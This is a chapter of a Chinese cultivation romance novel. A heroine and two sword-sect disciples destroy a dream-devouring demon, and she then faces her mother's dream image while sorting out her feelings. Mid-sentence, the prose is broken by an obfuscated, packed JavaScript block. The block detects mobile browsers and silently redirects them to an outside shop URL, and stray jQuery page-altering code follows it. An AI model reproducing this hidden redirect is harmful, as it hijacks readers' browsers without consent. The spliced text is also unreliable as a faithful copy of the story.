文趣网 > 都市小说 > 重回宿敌为我疯魔前 > 22. 情动(一)
    等叶寻舟跟钟离骁闯进来时,房间内已经空无一人了,唯有一枚护身符伶仃躺在地上。

    叶寻舟脚步一顿,俯身拾起护身符,环视四周,最终把目光定格在博古架的花瓶。

    他快步上前,转动花瓶位置,一道金光骤然闪烁,地面猛然下沉,整个屋子天旋地转,逐渐跟枯井深处的密道融为一体。

    钟离骁惊讶于叶寻舟的敏锐,仅凭护身符竟可以确定暗号,复杂的情绪顿时涌上心头。

    密道内到处萦绕着黑色的妖气,顺着两人的领口钻进去,一点点腐蚀着的肌肤。

    “好热闹啊。”空滦抱着昏迷不醒的方逐清从阴影中走出来,语气轻快:“一个不够还要再来一个,让我瞧瞧,谁的身体最适合我呢?”

    听这语气,空滦俨然被蚀梦妖彻底占据了意识。钟离骁面色沉重,这是他也没有预料到的结果,“你既想寻一个合适的肉身复活,倒不如选一个修为更高的。”

    空滦天赋尚可,但终究只是金丹期的修为,而叶寻舟跟钟离骁已经突破了元婴后期,论起来,他们身体的诱惑力要更大。

    不过蚀梦妖的意识显然有自己的看法,他单手掂了掂方逐清,看向两人:

    “你们二人皆是无尘剑宗的弟子,受了宗主不少恩惠,不知堂堂一宗之主跟心上人二者选其一,你们会救谁呢?”

    叶寻舟轻嗤一声,语气戏谑:“你凭什么觉得能跟我们谈条件?”

    “就凭方逐清已经喝了我准备的酒,她的意识会一点点替换成梦境的记忆。”

    蚀梦妖似笑非笑:“方家父女二人的灵魂,可要比落霞谷那些无脑的山民们有用得多。”

    被迫听了一耳朵废话的方逐清忍不住睁开一只眼。都什么时候了,还要玩这种无聊的把戏?幼不幼稚?

    蚀梦妖却对这个赌注兴趣极大,满怀希冀地再次说道:“怎么,不敢吗?”

    “不敢你个鬼!”方逐清听不下去了,趁蚀梦妖分神之际,干脆利落地拔剑刺中他颈后的符印。

    叶寻舟紧随其后,将它狠狠钳制住,被刺中的血肉渐渐溃烂发臭,涌出大量黑色的妖气,呛得人睁不开眼。

    蚀梦妖占据空滦的意识,操纵他的行为,想要在神识灰飞烟灭前彻底完成灵魂的献祭。但意识再强终究敌不过本体,几番过招后,终难以一敌三,落了下风。

    阵眼被破坏,禁制大开。

    方逐清救父心切,纵身一跃,只留一个背影:“这里交给你们了。”

    钟离骁本想答复,可蚀梦妖的神识突然脱离空滦的身体,幻化成一只长满触手的黑影,直勾勾地冲着方逐清的后背而去。

    它想夺取她的心脏!

    “小心!”钟离骁大喊。

    来不及了。

    黑影的触手死死缠住方逐清的身体,就在这危急关头,银白剑光骤然亮起,将妖气尽数吞噬。

    方逐清缓慢抬头,叶寻舟周身涌动着一股强大的气流,她能明显感受到这股亦正亦邪的力量,正一点点蚕食蚀梦妖残存的意识,直至消失不见。

    梦境彻底坍塌。

    周围的景象走马观花般变幻,须臾间,狭窄的密道变成竹林间的甬路,原本立在禁制前的石墙变成朱红色的大门。

    有落花零落飘过,浓重的妖气也转化成淡淡的清香。

    强烈的光晕晃的人睁不开眼,方逐清抬手去遮,被女子窈窕的身影挡住。

    女子扶起她的手,望着来人慈爱的脸庞,她神情恍惚地喃喃道:“阿娘……”

    *

    飞仙峰上草木葱郁,伶仃有喜鹊从头顶飞过。横亘在半山腰的一座小院,被茂密的树林掩盖,环境雅致清幽。

    钟离絮雪坐在院子里的槐树下教方逐清抚琴。

    方少珩风尘仆仆地归来,见妻女在院中等他,这样美好又温馨,眼里的笑意快要溢出来。

    他背过手,把从山下摘来的兰花藏在身后,隐去了自己的气息。

    门口的灵草却不给他面子,凡他所经之处,耷拉的头全都昂了起来。

    钟离絮雪拍拍方逐清的肩,语气柔婉:“今日的琴就先练到这。”说完,她指了指院中干杂活的叶寻舟跟钟离骁。

    方逐清轻轻“嗯”了一声,转而看向院前的那两道忙碌的身影。

    钟离骁挽起袖子和裤腿在栽种兰花,叶寻舟穿着黑色靴子给花浇水,玄鸟则跟在最后添肥料……两人一鸟忙前忙后种了一大片花。

    这里是方少珩的梦境。

    蚀梦妖留下的结界虽被破坏,但只唤醒了空滦一人,已经连夜送回北山医治了。而方少珩说什么也不愿意从梦中醒来,直到钟离絮雪的出现,众人才弄清楚缘由。

    方少珩最大的愿望,就是一家三口一起过着普通又平凡的日子。

    钟离骁担心万一方逐清也舍不得离开这里,那世上将再无她,最好的办法就是让方逐清先行离开,他留下唤醒宗主。

    而叶寻舟有不同的看法。

    方逐清不是没有主见、只能依附他人的菟丝花,她有自己的想法和目标,不是钟离骁口中一句“为你好”就可以轻描淡写地抹平她所做的一切。

    她想做什么就可以去做,他只要负责善后,在需要的时候出现就好。

    两人意见产生分歧,谁也不服气,僵持在原地,最后还是钟离骁败下阵来,叹了声:

    “无咎,你不能事事由着她任性,这样是在害她。”

    叶寻舟懒得理他,手搭在洒水壶上,施了个法术,整片花海就都浇好了,反观钟离骁扛着锄头,继续努力地刨地。

    方逐清噗嗤一声笑了,莫名觉得这个画面很有趣。

    不知怎得,她有种错觉。这两人剑拔弩张的状态,怎么像回到了小时候?

    如果,是真的就好了。

    ……

    “入梦者不能在他人梦境停留太久,距离离开的最后期限还有三天。”

    小符发出最后通牒,时间紧迫,若方少珩三日后还是不愿醒来,方逐清一行人将被迫剥离梦境,而方少珩就会像真正的钟离絮雪一样,肉身永远陷入沉睡。

    唯一的破局方法,就是杀了钟离絮雪。

    钟离骁不忍方逐清陷入两难,本想趁众人不注意悄悄动手,被叶寻舟拦住了,两人难得达成一致意见,最终将选择权交给方逐清。

    房间里,钟离絮雪正在给方逐清梳头。

    “我们清清的头发生得真好,又黑又亮。”

    女子温暖的指尖轻轻搭在她的肩上,对着铜镜一笑:“你瞧,阿娘给你梳的头发好不好看?”

    从铜镜里望去,女子眉如翠羽,肌如白雪,完全看不出是生育过女儿的样子。二人长相极为相似,尤其颊边两侧的小酒窝,明眼人一瞧就知道是母女。

    方逐清浅浅一笑:“好看。”

    在她很小的时候,钟离絮雪就因为妖蛊之毒陷入沉睡,她甚至快要记不清她的样子了。

    记忆中,那个总是带着笑意的女人,说话如和风般温柔。会轻轻抚摸她的头发,唱着童谣哄她入睡,在她摔倒时一遍又一遍地鼓励着。

    即便知道站在她面前的不过是一个傀儡,可方逐清还是无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587796|204038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    法对她下手。

    她把头埋在钟离絮雪的怀里,紧紧地抱着她的腰,贪恋这最后的温暖。

    钟离絮雪温柔地拍着她的脊背,失笑道:“都是快成亲的人了,怎么还像个小孩子一样。”

    方逐清吸了吸鼻子,声音闷闷的:“我不想成亲。”

    “傻孩子,爹娘不能陪你一辈子,长久与你相伴的,只有你的道侣呀。”钟离絮雪若有所思,问道:“你跟骁儿年纪相仿,又从小一起长大,情谊深厚,跟他在一起,阿娘很放心。”

    “阿娘,如果我想退婚,你会觉得我任性吗?”方逐清从她怀里钻出来,明知这个问题并没有任何意义,但她还是神情认真地说:“我跟他不合适。”

    钟离絮雪耐心地听她说下去。

    “钟离师兄很好,性子温和善良,我知道跟他在一起会生活得很幸福,可是、可是……”

    方逐清说不出来到底是什么原因,许是重活一世的缘故,对许多事都有了不同的看法,她无法做到捆绑一个毫无爱意的人走完下半生,无论是对她还是钟离骁都不公平。

    钟离絮雪并未对她的话感到吃惊,仿佛早就看穿了一切,抬手抹去方逐清眼角的泪珠,“我的女儿长大了,也有自己的想法和见解,不再是以前那个追在我身后牙牙学语的小孩子了。”

    “只不过,究竟是觉得你跟骁儿不合适,还是……察觉到你真正的心意了呢?”

    “我……”方逐清一时语滞,久久没能说出话来,脑海里浮现的,是另一张桀骜的脸。

    她慌了神,竭力证明自己方才一闪而过的念头是虚幻的,解释道:“我就是不喜欢他处处管教我,明明也没比我大几岁,却总摆出一个长辈的心态。”

    钟离絮雪笑而不语,她知道自己的女儿心里已经有了答案,只是还不愿意承认。

    许多时候,当事者迷,旁观者清,当这个问题问出口的时候,潜意识已经希望得到别人的认同了。

    方逐清的心乱了。

    她感觉脑子里有两道声音在打架。

    一个说:“笨蛋,你喜欢谁自己还不知道吗?当然是第一个想到的人。”

    另一个说:“才不是,她只是感激,感激不是男女之情,更不是爱。”

    她甚至不知道自己怎么走出房间的,脚步虚浮,像踩在了柔软的棉花上。等她回过神时,自己莫名出现在叶寻舟的房间门口。

    叶寻舟在屋里看着方逐清的影子徘徊很久,等了很久,她却迟迟未进,终于忍不住开门,疑惑道:“找我?”

    方逐清吓了一跳,险些没站稳,正欲否认时,那两个奇怪的声音突然又来了:

    “你不喜欢为什么会走到这?行为难道还不能说明一切吗?”

    “胡说八道,只是顺路而已!顺路你不懂吗?”

    ……

    方逐清干巴巴笑了一下,想到自己正好有事找她,如释重负道:“我有办法能让你不用一直穿高领口的衣裳。”随后自来熟地进了他的房间,拿出一个小匣子搁置在他的桌案上。

    她坚信只要动作够快,就不会被拒绝,干脆将匣子里的瓶瓶罐罐全都一一铺开。

    “这个,修真界最时兴的妆粉,可以遮住你锁骨的魔纹。”

    “这个,内服的洗魂丹,虽说不能药到病除,但起码可以控制一下魔纹生长的速度。”

    “还有这个幻形皮,凡间一位老巫医研制出来的,说是可以跟人皮融为一体,花了我好多灵石呢。”

    叶寻舟:“......”

    他精心打扮一番,就只有这个?